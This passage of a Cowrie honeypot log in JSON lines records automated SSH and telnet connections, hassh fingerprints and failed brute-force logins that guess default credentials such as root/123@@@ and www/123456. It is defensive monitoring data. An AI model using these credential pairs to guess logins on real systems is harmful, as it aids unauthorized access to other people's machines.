dsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:19:18.512452Z","src_ip":"192.109.200.237","session":"78b64f0fa6e3","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"123@@@","message":"login attempt [root/123@@@] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:19:18.759497Z","src_ip":"192.109.200.237","session":"78b64f0fa6e3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:19:19.845184Z","src_ip":"192.109.200.237","session":"78b64f0fa6e3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":34.21775674819946,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:19:20.243247Z","src_ip":"50.6.8.71","session":"d9926d34ead9","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":36750,"dst_ip":"159.203.135.109","dst_port":22,"session":"966877b8f700","protocol":"ssh","message":"New connection: 192.109.200.237:36750 (159.203.135.109:22) [session: 966877b8f700]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:19:21.792514Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:19:21.797885Z","src_ip":"192.109.200.237","session":"966877b8f700","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:19:21.991341Z","src_ip":"192.109.200.237","session":"966877b8f700","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"lighthouse","password":"123456","message":"login attempt [lighthouse/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:19:22.247814Z","src_ip":"192.109.200.237","session":"966877b8f700","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:19:23.333312Z","src_ip":"192.109.200.237","session":"966877b8f700","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.829137563705444,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:19:25.088663Z","src_ip":"50.6.8.71","session":"0f215d645227","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":36754,"dst_ip":"159.203.135.109","dst_port":22,"session":"07db2ec360f6","protocol":"ssh","message":"New connection: 192.109.200.237:36754 (159.203.135.109:22) [session: 07db2ec360f6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:19:25.354425Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:19:25.359725Z","src_ip":"192.109.200.237","session":"07db2ec360f6","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:19:25.445634Z","src_ip":"192.109.200.237","session":"07db2ec360f6","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"www","password":"123456","message":"login attempt [www/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:19:25.699568Z","src_ip":"192.109.200.237","session":"07db2ec360f6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:19:26.878158Z","src_ip":"192.109.200.237","session":"07db2ec360f6","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":36762,"dst_ip":"159.203.135.109","dst_port":22,"session":"062ad0aaad32","protocol":"ssh","message":"New connection: 192.109.200.237:36762 (159.203.135.109:22) [session: 062ad0aaad32]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:19:28.847323Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:19:28.852058Z","src_ip":"192.109.200.237","session":"062ad0aaad32","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:19:28.934926Z","src_ip":"192.109.200.237","session":"062ad0aaad32","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ftpuser1","password":"123456","message":"login attempt [ftpuser1/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:19:29.227985Z","src_ip":"192.109.200.237","session":"062ad0aaad32","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:19:30.312853Z","src_ip":"192.109.200.237","session":"062ad0aaad32","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.8.71","src_port":43638,"dst_ip":"10.17.0.5","dst_port":23,"session":"b91a23a81851","protocol":"telnet","message":"New connection: 50.6.8.71:43638 (10.17.0.5:23) [session: b91a23a81851]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:19:30.870049Z"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.8.71","src_port":43654,"dst_ip":"10.17.0.5","dst_port":23,"session":"ed1c8b6560bb","protocol":"telnet","message":"New connection: 50.6.8.71:43654 (10.17.0.5:23) [session: ed1c8b6560bb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:19:31.264394Z"}
{"eventid":"cowrie.session.connect","src_ip":"193.228.128.84","src_port":58694,"dst_ip":"10.17.0.5","dst_port":22,"session":"2687536a5d8b","protocol":"ssh","message":"New connection: 193.228.128.84:58694 (10.17.0.5:22) [session: 2687536a5d8b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:19:31.590306Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:19:31.594043Z","src_ip":"193.228.128.84","session":"2687536a5d8b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:19:31.699036Z","src_ip":"193.228.128.84","session":"2687536a5d8b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"bredddd1","message":"login attempt [root/bredddd1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:19:32.008852Z","src_ip":"193.228.128.84","session":"2687536a5d8b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":59138,"dst_ip":"159.203.135.109","dst_port":22,"session":"e8c8a521d2a9","protocol":"ssh","message":"New connection: 192.109.200.237:59138 (159.203.135.109:22) [session: e8c8a521d2a9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:19:32.386296Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:19:32.391230Z","src_ip":"192.109.200.237","session":"e8c8a521d2a9","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:19:32.473653Z","src_ip":"192.109.200.237","session":"e8c8a521d2a9","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"david","password":"david","message":"login attempt [david/david] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:19:32.720320Z","src_ip":"192.109.200.237","session":"e8c8a521d2a9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:19:33.113520Z","src_ip":"193.228.128.84","session":"2687536a5d8b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:19:33.804919Z","src_ip":"192.109.200.237","session":"e8c8a521d2a9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":32.5400390625,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:19:35.272041Z","src_ip":"50.6.8.71","session":"0e1aefb857af","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":59142,"dst_ip":"159.203.135.109","dst_port":22,"session":"5a489073203d","protocol":"ssh","message":"New connection: 192.109.200.237:59142 (159.203.135.109:22) [session: 5a489073203d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:19:35.822690Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:19:35.827446Z","src_ip":"192.109.200.237","session":"5a489073203d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:19:35.908939Z","src_ip":"192.109.200.237","session":"5a489073203d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"master","password":"master","message":"login attempt [master/master] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:19:36.155168Z","src_ip":"192.109.200.237","session":"5a489073203d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:19:37.239780Z","src_ip":"192.109.200.237","session":"5a489073203d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":32.31627058982849,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:19:38.567864Z","src_ip":"50.6.8.71","session":"c16bf650e40c","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":59152,"dst_ip":"159.203.135.109","dst_port":22,"session":"3b3b711e616d","protocol":"ssh","message":"New connection: 192.109.200.237:59152 (159.203.135.109:22) [session: 3b3b711e616d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:19:39.464984Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:19:39.468838Z","src_ip":"192.109.200.237","session":"3b3b711e616d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:19:39.550488Z","src_ip":"192.109.200.237","session":"3b3b711e616d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"openclaw","password":"openclaw","message":"login attempt [openclaw/openclaw] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:19:39.856903Z","src_ip":"192.109.200.237","session":"3b3b711e616d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"49.88.156.34","src_port":41629,"dst_ip":"10.17.0.5","dst_port":23,"session":"04c790253edd","protocol":"telnet","message":"New connection: 49.88.156.34:41629 (10.17.0.5:23) [session: 04c790253edd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:19:39.978570Z"}
{"eventid":"cowrie.session.closed","duration":0.04015183448791504,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:19:40.018619Z","src_ip":"49.88.156.34","session":"04c790253edd","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:19:40.942648Z","src_ip":"192.109.200.237","session":"3b3b711e616d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":59572,"dst_ip":"159.203.135.109","dst_port":22,"session":"6c4f21303288","protocol":"ssh","message":"New connection: 192.109.200.237:59572 (159.203.135.109:22) [session: 6c4f21303288]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:19:42.894094Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:19:42.899184Z","src_ip":"192.109.200.237","session":"6c4f21303288","protocol":"ssh"}
